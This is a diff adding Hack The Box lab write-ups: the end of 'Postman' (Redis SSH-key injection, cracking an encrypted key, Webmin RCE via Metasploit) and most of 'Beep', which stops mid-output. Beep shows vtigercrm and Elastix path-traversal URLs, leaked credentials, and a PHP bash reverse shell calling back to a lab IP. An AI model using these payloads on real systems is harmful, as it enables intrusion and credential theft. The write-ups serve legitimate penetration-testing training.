| = =+ . = | + | o .+ + | + |= . . . | + +----[SHA256]-----+ + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman] + → cat ~/.ssh/id_ed25519.pub + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman] + → (echo -e "\n\n";cat ~/.ssh/id_ed25519.pub;echo -e "\n\n") > pubkey.txt + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman] + → cat pubkey.txt + + + + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere + + + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman] + → cat pubkey.txt| redis-cli -h 10.10.10.160 -x set ssh_key + OK + + + +Here you can see we made sure that the public key had newline characters on either side, that is because if we didn't, redis would add our pubkey onto another, without jumping to a newline, obviously it wouldn't work, then we proceed: + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman] + → redis-cli -h 10.10.10.160 + + 10.10.10.160:6379> get ssh_key + "\n\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere\n\n\n\n" + + 10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh + OK + + 10.10.10.160:6379> CONFIG SET dbfilename authorized_keys + OK + + 10.10.10.160:6379> save + OK + + 10.10.10.160:6379> exit + + + +Once that's done, simply ssh as the redis user: + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman] + → ssh redis@10.10.10.160 + Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1 + + redis@Postman:~$ id + uid=107(redis) gid=114(redis) groups=114(redis) + + redis@Postman:~$ + + + +Now that we have a ssh access to the box as the redis user, we're going to enumerate the box, to do so we can use the old fashioned unix-privesc-check or we can use a newer solution called 'LinPEAS', i'm going to use it for the other boxes aswell, so i'll clone the repository in my ~/Tools directory: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools] + → git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite + Cloning into 'privilege-escalation-awesome-scripts-suite'... + remote: Enumerating objects: 5452, done. + remote: Counting objects: 100% (239/239), done. + remote: Compressing objects: 100% (149/149), done. + remote: Total 5452 (delta 139), reused 132 (delta 85), pack-reused 5213 + Receiving objects: 100% (5452/5452), 18.72 MiB | 3.94 MiB/s, done. + Resolving deltas: 100% (3250/3250), done. + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools] + → cd ~/HTB/Postman + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → sudo updatedb ; locate linpeas.sh + [sudo] password for nothing: + /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → cp $(locate linpeas.sh) . + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → ls -lash linpeas.sh + 336K -rwxr-xr-x 1 nothing nothing 334K May 25 08:52 linpeas.sh + + + +Now let's transfer the file onto the box: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + +Then download the script onto the box, you can either put it in **/tmp** or **/dev/shm** : + + + redis@Postman:~$ wget http://10.10.14.13:9090/linpeas.sh -O /dev/shm/peas.sh + --2021-05-25 08:03:20-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/dev/shm/peas.sh’ + + /dev/shm/peas.sh 100%[=================================================================================================================================================>] 333.85K 700KB/s in 0.5s + + 2021-05-25 08:03:20 (700 KB/s) - ‘/dev/shm/peas.sh’ saved [341863/341863] + + redis@Postman:~$ chmod +x /dev/shm/peas.sh + redis@Postman:~$ /dev/shm/peas.sh + + + +` ![](prg/39_001.png) + +linpeas.sh's output is quite massive so here's the important parts, if you're using tmux you can search for the output itself like this **CTRL+B PgUp, CTRL+S 'ssh files'** : + +![](prg/39_002.png) + +So Peas found an id_rsa.bak file in the **/opt** folder: + + + redis@Postman:~$ cat /opt/id_rsa.bak + -----BEGIN RSA PRIVATE KEY----- + Proc-Type: 4,ENCRYPTED + DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C + + JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX + cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2 + 7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6 + cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9 + 1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv + EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP + UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY + Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK + t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS + 5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke + P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6 + jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge + SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i + l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X + 0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p + S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR + hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+ + Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V + XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD + b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi + WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh + KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm + npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ + VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W + X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw== + -----END RSA PRIVATE KEY----- + + +As the title suggests, this is an encrypted private key file, so let's crack it with rockyou.txt using john: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists] + → sudo gunzip rockyou.txt.gz + [sudo] password for nothing: + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists] + → ls -lash rockyou.txt + 134M -rw-r--r-- 1 root root 134M Jul 17 2019 rockyou.txt + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists] + → cd ~/HTB/Postman + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → vim pkey + + + +Then we convert the private key to a hash with ssh2john.py and crack it with john: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → locate ssh2john.py + /usr/share/john/ssh2john.py + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → /usr/share/john/ssh2john.py pkey > hash + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt + Created directory: /home/nothing/.john + Using default input encoding: UTF-8 + Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) + Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes + Cost 2 (iteration count) is 2 for all loaded hashes + Node numbers 1-4 of 4 (fork) + Note: This format may emit false positives, so it will keep trying even after + finding a possible candidate. + Press 'q' or Ctrl-C to abort, almost any other key for status + computer2008 (pkey) + 2 1g 0:00:00:05 DONE (2021-05-25 09:11) 0.1848g/s 662739p/s 662739c/s 662739C/sabygurl69 + 3 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 661514p/s 661514c/s 661514C/sa6_123 + 4 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660302p/s 660302c/s 660302C/s *7¡Vamos! + 1 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660299p/s 660299c/s 660299C/sie168 + Waiting for 3 children to terminate + Session completed + + + +And we found the password computer2008. but the question is for which user is this for ? We can look at it from either /home or /etc/passwd: + + + redis@Postman:~$ ls -lash /home + total 12K + 4.0K drwxr-xr-x 3 root root 4.0K Sep 11 2019 . + 4.0K drwxr-xr-x 22 root root 4.0K Sep 30 2020 .. + 4.0K drwxr-xr-x 6 Matt Matt 4.0K Sep 11 2019 Matt + + redis@Postman:~$ cat /etc/passwd | grep bash + root:x:0:0:root:/root:/bin/bash + Matt:x:1000:1000:,,,:/home/Matt:/bin/bash + redis:x:107:114::/var/lib/redis:/bin/bash + + + +Here we see that the Matt user has a home directory, and a valid bash shell. So let's get to the user using sudo: + + + redis@Postman:~$ su Matt + Password: + Matt@Postman:/var/lib/redis$ id + uid=1000(Matt) gid=1000(Matt) groups=1000(Matt) + Matt@Postman:/var/lib/redis$ cd ~ + Matt@Postman:~$ cat user.txt + 23XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the Matt user flag! + +## **Part 3 : Getting Root Access** + +Now we need to find a way to get root on this box, first instinct tells us to check sudo -l: + + + Matt@Postman:~$ sudo -l + [sudo] password for Matt: + Sorry, user Matt may not run sudo on Postman. + + + +But that doesn't help us. Nor does anything else on this user, this is a bit of a rabbithole. Let's move onto the next thing our nmap scan picked up, the webmin service on port 10000 + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → curl http://10.10.10.160:10000/ + + + # Error - Document follows + + + + + This web server is running in SSL mode. Try the URL instead. + + + + + + +So let's check it in https instead, we login as the Matt user with his password computer2008: + +![](prg/39_003.png) + +![](prg/39_004.png) + + + Matt@Postman:~$ cd /etc/webmin/ + + Matt@Postman:/etc/webmin$ cat version + 1.910 + + + +So here's our hint, this is an outdated webmin version, so let's check what exploits we can use on it: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → searchsploit webmin 1.9 + ------------------------------------------------------ --------------------------------- + Exploit Title | Path + ------------------------------------------------------ --------------------------------- + Webmin 1.900 - Remote Command Execution (Metasploit) | cgi/remote/46201.rb + Webmin 1.910 - 'Package Updates' Remote Command Execu | linux/remote/46984.rb + Webmin 1.920 - Remote Code Execution | linux/webapps/47293.sh + Webmin 1.920 - Unauthenticated Remote Code Execution | linux/remote/47230.rb + Webmin 1.962 - 'Package Updates' Escape Bypass RCE (M | linux/webapps/49318.rb + Webmin <****1.290 / Usermin <****1.220 - Arbitrary File Dis | multiple/remote/1997.php + Webmin < ****1.290 / Usermin < ****1.220 - Arbitrary File Dis | multiple/remote/2017.pl + Webmin < ****1.920 - 'rpc.cgi' Remote Code Execution (Met | linux/webapps/47330.rb + ------------------------------------------------------ --------------------------------- + Shellcodes: No Results + +So basically we can pick one of these, or we can make use of this proof of concept [here](https://github.com/KyleV98/Webmin-1.910-Exploit): + +TLDR we can get a RCE using burpsuite because the package updater is vulnerable to command injections through the **u** POST parameter. If you click on **System** on the panel to the left, then click on **Software Package Updates** , you can turn on Burpsuite to intercept, and then just click **Update Selected Packages:** So let's use metasploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman] + → msfconsole + + + Metasploit Park, System Security Interface + Version 4.0.5, Alpha E + Ready... + > access security + access: PERMISSION DENIED. + > access security grid + access: PERMISSION DENIED. + > access main security grid + access: PERMISSION DENIED....and... + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + YOU DIDN'T SAY THE MAGIC WORD! + + + =[ metasploit v6.0.44-dev ] + + -- --=[ 2131 exploits - 1139 auxiliary - 363 post ] + + -- --=[ 592 payloads - 45 encoders - 10 nops ] + + -- --=[ 8 evasion ] + + Metasploit tip: You can use help to view all + available commands + + msf6 > search webmin + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution + 1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure + 2 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution + 3 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE + 4 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access + 5 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor + + + Interact with a module by name or index. For example info 5, use 5 or use exploit/linux/http/webmin_backdoor + + msf6 > use 2 + + + +We're going to use the RCE module: + + + msf6 > use 2 + [*] Using configured payload cmd/unix/reverse_perl + msf6 exploit(linux/http/webmin_packageup_rce) > show options + + Module options (exploit/linux/http/webmin_packageup_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD yes Webmin Password + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 10000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base path for Webmin application + USERNAME yes Webmin Username + VHOST no HTTP server virtual host + + + Payload options (cmd/unix/reverse_perl): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Webmin <= 1.910 + + + +We need to set the LHOST, RHOST, SSL, USERNAME and PASSWORD options before running the exploit: + + + msf6 exploit(linux/http/webmin_packageup_rce) > set LHOST tun0 + LHOST => 10.10.14.13 + msf6 exploit(linux/http/webmin_packageup_rce) > set RHOST 10.10.10.160 + RHOST => 10.10.10.160 + msf6 exploit(linux/http/webmin_packageup_rce) > set SSL true + [!] Changing the SSL option's value may require changing RPORT! + SSL => true + msf6 exploit(linux/http/webmin_packageup_rce) > run + + [-] Exploit failed: One or more options failed to validate: USERNAME, PASSWORD. + [*] Exploit completed, but no session was created. + msf6 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt + USERNAME => Matt + msf6 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008 + PASSWORD => computer2008 + msf6 exploit(linux/http/webmin_packageup_rce) > run + + [*] Started reverse TCP handler on 10.10.14.13:4444 + [+] Session cookie: 4cc0c13f51b9e777f7a9e0cdc9a93277 + [*] Attempting to execute the payload... + [*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.160:49564) at 2021-05-25 09:56:39 +0200 + + id + uid=0(root) gid=0(root) groups=0(root) + cat /root/root.txt + 3aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get a root shell and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/39_graph.png) + diff --git a/Easy/4.md b/Easy/4.md new file mode 100644 index 0000000..51af50c --- /dev/null +++ b/Easy/4.md @@ -0,0 +1,308 @@ +# Beep Writeup + +![](img/4.png) + +## Introduction : + +Beep is an easy Linux box which was released back in March 2017. It features multiple Local File Inclusion Vulnerabilities. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions on the ports that we might find interesting. + + + λ nihilist [~] → nmap 10.10.10.7 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-09 11:47 CET + Nmap scan report for 10.10.10.7 + Host is up (0.075s latency). + Not shown: 988 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 25/tcp open smtp + 80/tcp open http + 110/tcp open pop3 + 111/tcp open rpcbind + 143/tcp open imap + 443/tcp open https + 993/tcp open imaps + 995/tcp open pop3s + 3306/tcp open mysql + 4445/tcp open upnotifyp + 10000/tcp open snet-sensor-mgmt + + Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds + + + +There are alot of opened ports on this machine, Let's use the -sC and -sV flags on the ports 80 and 10000 to get a few more details. + + + λ nihilist [~] → nmap -sC -sV 10.10.10.7 -p80,10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-09 11:50 CET + Nmap scan report for 10.10.10.7 + Host is up (0.071s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.2.3 + |_http-server-header: Apache/2.2.3 (CentOS) + |_http-title: Did not follow redirect to https://10.10.10.7/ + |_https-redirect: ERROR: Script execution failed (use -d to debug) + 10000/tcp open http MiniServ 1.570 (Webmin httpd) + |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). + Service Info: Host: 127.0.0.1 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 37.64 seconds + + +looking at the results, we see that we are dealing with Miniserv 1.570 and Apache 2.2.3 running on CentOS. Let's fire up our web browser to see what we are dealing with, at both the 80 and 10000th port. + +## **Part 2 : Getting User Access** + +We see that port 80 is giving us Elastix login page, + +![](prg/4_001.png) + +As for the port 10000, it is giving us a webmin login page as it was mentionned in the previous nmap result. + +![](prg/4_002.png) We will now check for available exploits for both the Elastix and the Webmin Services. We will be using the **Searchsploit** command for that matter : + + + λ nihilist [~] → searchsploit webmin + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal | exploits/cgi/webapps/23535.txt + Webmin - Brute Force / Command Execution | exploits/multiple/remote/705.pl + Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing | exploits/linux/remote/22275.pl + Webmin 0.x - 'RPC' Privilege Escalation | exploits/linux/remote/21765.pl + Webmin 0.x - Code Input Validation | exploits/linux/local/21348.txt + Webmin 1.5 - Brute Force / Command Execution | exploits/multiple/remote/746.pl + Webmin 1.5 - Web Brute Force (CGI) | exploits/multiple/remote/745.pl + Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit) | exploits/unix/remote/21851.rb + Webmin 1.850 - Multiple Vulnerabilities | exploits/cgi/webapps/42989.txt + Webmin 1.900 - Remote Command Execution (Metasploit) | exploits/cgi/remote/46201.rb + Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | exploits/linux/remote/46984.rb + Webmin 1.920 - Remote Code Execution | exploits/linux/webapps/47293.sh + Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) | exploits/linux/remote/47230.rb + Webmin 1.x - HTML Email Command Execution | exploits/cgi/webapps/24574.txt + Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (PHP) | exploits/multiple/remote/1997.php + Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl) | exploits/multiple/remote/2017.pl + phpMyWebmin 1.0 - 'target' Remote File Inclusion | exploits/php/webapps/2462.txt + phpMyWebmin 1.0 - 'window.php' Remote File Inclusion | exploits/php/webapps/2451.txt + **webmin 0.91 - Directory Traversal | exploits/cgi/remote/21183.txt** + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + nihilist [~] → searchsploit elastix + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + Elastix - 'page' Cross-Site Scripting | exploits/php/webapps/38078.py + Elastix - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/38544.txt + Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/34942.txt + **Elastix 2.2.0 - 'graph.php' Local File Inclusion | exploits/php/webapps/37637.pl** + Elastix 2.x - Blind SQL Injection | exploits/php/webapps/36305.txt + Elastix < 2.5 - PHP Code Injection | exploits/php/webapps/38091.php + FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | exploits/php/webapps/18650.py + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + + + +So we have a server here which is running Elastix on port 80 (http), let's see if we can list directories using a command like gobuster. Just to show another tool for this example, we'll use Dirbuster, which goes by the syntax "dirb http://10.10.10.7:80/" + + + λ nihilist [~] → dirb http://10.10.10.7:80/ + + +Dirbuster just found the vtigercm page, which is giving us yet another login page to work with. Fortunately for us vtigercrm is vulnerable to Local File Inclusion as displayed below in the searchsploit command output. + + + λ nihilist [~] → searchsploit vtiger + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + Vtiger - 'Install' Remote Command Execution (Metasploit) | exploits/php/remote/32794.rb + Vtiger CRM 6.3.0 - (Authenticated) Arbitrary File Upload (Metasploit) | exploits/php/webapps/44379.rb + Vtiger CRM 7.1.0 - Remote Code Execution | exploits/php/webapps/46065.py + vTiger CRM 4.2 - 'calpath' Multiple Remote File Inclusions | exploits/php/webapps/2508.txt + vTiger CRM 4.2 - SQL Injection | exploits/php/webapps/26586.txt + vTiger CRM 4.2 Leads Module - 'record' Cross-Site Scripting | exploits/php/webapps/26584.txt + vTiger CRM 4.2 RSS Aggregation Module - Feed Cross-Site Scripting | exploits/php/webapps/26585.txt + vTiger CRM 5.0.4 - Local File Inclusion | exploits/php/webapps/16280.py + vTiger CRM 5.0.4 - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/32307.txt + vTiger CRM 5.0.4 - Remote Code Execution / Cross-Site Request Forgery / Lo | exploits/php/webapps/9450.txt + **vTiger CRM 5.1.0 - Local File Inclusion | exploits/php/webapps/18770.txt** + vTiger CRM 5.2 - 'onlyforuser' SQL Injection | exploits/php/webapps/36208.txt + vTiger CRM 5.2.1 - 'PHPrint.php' Multiple Cross-Site Scripting Vulnerabili | exploits/php/webapps/36204.txt + vTiger CRM 5.2.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabiliti | exploits/php/webapps/36203.txt + vTiger CRM 5.2.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabiliti | exploits/php/webapps/36255.txt + vTiger CRM 5.2.1 - 'sortfieldsjson.php' Local File Inclusion | exploits/php/webapps/35574.txt + vTiger CRM 5.2.1 - 'vtigerservice.php' Cross-Site Scripting | exploits/php/webapps/35577.txt + vTiger CRM 5.3.0 5.4.0 - (Authenticated) Remote Code Execution (Metasploit | exploits/php/remote/29319.rb + vTiger CRM 5.4.0 - 'index.php?onlyforuser' SQL Injection | exploits/php/webapps/28409.txt + vTiger CRM 5.4.0 SOAP - AddEmailAttachment Arbitrary File Upload (Metasplo | exploits/php/remote/30787.rb + vTiger CRM 5.4.0 SOAP - Multiple Vulnerabilities | exploits/php/webapps/27279.txt + vTiger CRM 5.4.0/6.0 RC/6.0.0 GA - 'browse.php' Local File Inclusion | exploits/php/webapps/32213.txt + vTiger CRM 6.3.0 - (Authenticated) Remote Code Execution | exploits/php/webapps/38345.txt + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + +VtigerCRM seems to be vulnerable to Local File Inclusion (LFI), let's take a closer look onto [exploit-db](https://www.exploit-db.com/exploits/18770). According to the article, the CVE 2012-4867 would allow us to Include Local Files due to a vulnerable php script named **sortfieldsjson.php** Let's test it with the following URL our web browser : + + + https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00 + + +![](prg/4_003.png) + +The LFI is successful, and We now have 2 usernames to work with : **fanis** and **root** We will now try out to see if we can get the user flag located in **/home/fanis** / Just for this example we'll print out the content of the page from within the terminal using the wget command using the following syntax : **wget -O - URL --no-check-certificate** + + + λ nihilist [~] → wget -O - https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php\?module_name\=../../../../../../../../home/fanis/user.txt%00 --no-check-certificate + + --2019-11-09 15:00:39-- https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../home/fanis/user.txt%00 + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Connecting to 10.10.10.7:443... connected. + WARNING: The certificate of ‘10.10.10.7’ is not trusted. + WARNING: The certificate of ‘10.10.10.7’ doesn't have a known issuer. + WARNING: The certificate of ‘10.10.10.7’ has expired. + The certificate has expired + The certificate's owner does not match hostname ‘10.10.10.7’ + HTTP request sent, awaiting response... 200 OK + Length: 33 [text/html] + Saving to: ‘STDOUT’ + + - 0%[ ] 0 --.-KB/s + **aeXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX** + - 100%[==============================================>] 33 --.-KB/s in 0s + + 2019-11-09 15:00:40 (286 KB/s) - written to stdout [33/33] + + +We now have the user flag, but we are not able to get the root flag this way, we need to find a way to gain elevated privilege access. + +## **Part 3 : Getting Root Access** + +In order to gain our elevated privilege access, we need to look at the results of our previous **searchsploit** command with the elastix keyword. There seems to be yet another Local File Inclusion exploit that we could potentially use taking a closer look at the [exploit-db article](https://www.exploit-db.com/exploits/37637) : We see that there could be a LFI vulnerability contained within a php script named **"graph.php"**. Let's test if it is working here aswell. + +We will use the curl command for this example, just to show off yet another syntax we could use. **curl -vs URL -k** + +the output is preety massive so i will highlight the important parts : + + + λ nihilist [~] → curl -vs https://10.10.10.7/vtigercrm/graph.php\?current_language\=../../../../../../../..//etc/amportal.conf%00\&module;\=Accounts\&action; 2>&1 -k + + [...] + + # FreePBX Database configuration + # AMPDBHOST: Hostname where the FreePBX database resides + # AMPDBENGINE: Engine hosting the FreePBX database (e.g. mysql) + # AMPDBNAME: Name of the FreePBX database (e.g. asterisk) + # AMPDBUSER: Username used to connect to the FreePBX database + # AMPDBPASS: Password for AMPDBUSER (above) + # AMPENGINE: Telephony backend engine (e.g. asterisk) + # AMPMGRUSER: Username to access the Asterisk Manager Interface + # AMPMGRPASS: Password for AMPMGRUSER + # + AMPDBHOST=localhost + AMPDBENGINE=mysql + # AMPDBNAME=asterisk + AMPDBUSER=asteriskuser + # AMPDBPASS=amp109 + **AMPDBPASS=jEhdIekWmdjE** + AMPENGINE=asterisk + **AMPMGRUSER=admin** + #AMPMGRPASS=amp111 + AMPMGRPASS=jEhdIekWmdjE + + [...] + + + +The second LFI is successful, we now have credentials that we can use on the vtigercrm login page. **admin:jEhdIekWmdjE** + +Once we are logged in , we simply need to browse into **Settings > Company Details** and inject our **reverse-shell.php** disguised as **reverse-shell.php.jpg** + + + λ nihilist [~/_HTB/Beep] → nano nihilist.php.jpg + + <**?php exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.48/1234 0>&1'"); **?> + + λ nihilist [~/_HTB/Beep] → nc -lvnp 1234 + + +![](prg/4_004.png) + +at this point, all that is left to do is to upload our reverse shell, to browse to where the reverse shell is located, and to recieve the connection back to our Terminal running the netcat command used above. + +We will browse at this address : **http://10.10.10.7/vtigercrm/test/logo/nihilist.php.jpg** + + + λ nihilist [~/_HTB/Beep] → nc -lvnp 1234 + Connection from 10.10.10.7:46306 + bash: no job control in this shell + + bash-3.2$ whoami + asterisk + + bash-3.2$ uname -a + Linux beep 2.6.18-238.12.1.el5 #1 SMP Tue May 31 13:23:01 EDT 2011 i686 athlon i386 GNU/Linux + + bash-3.2$ sudo -l + Matching Defaults entries for asterisk on this host: + env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR + LS_COLORS MAIL PS1 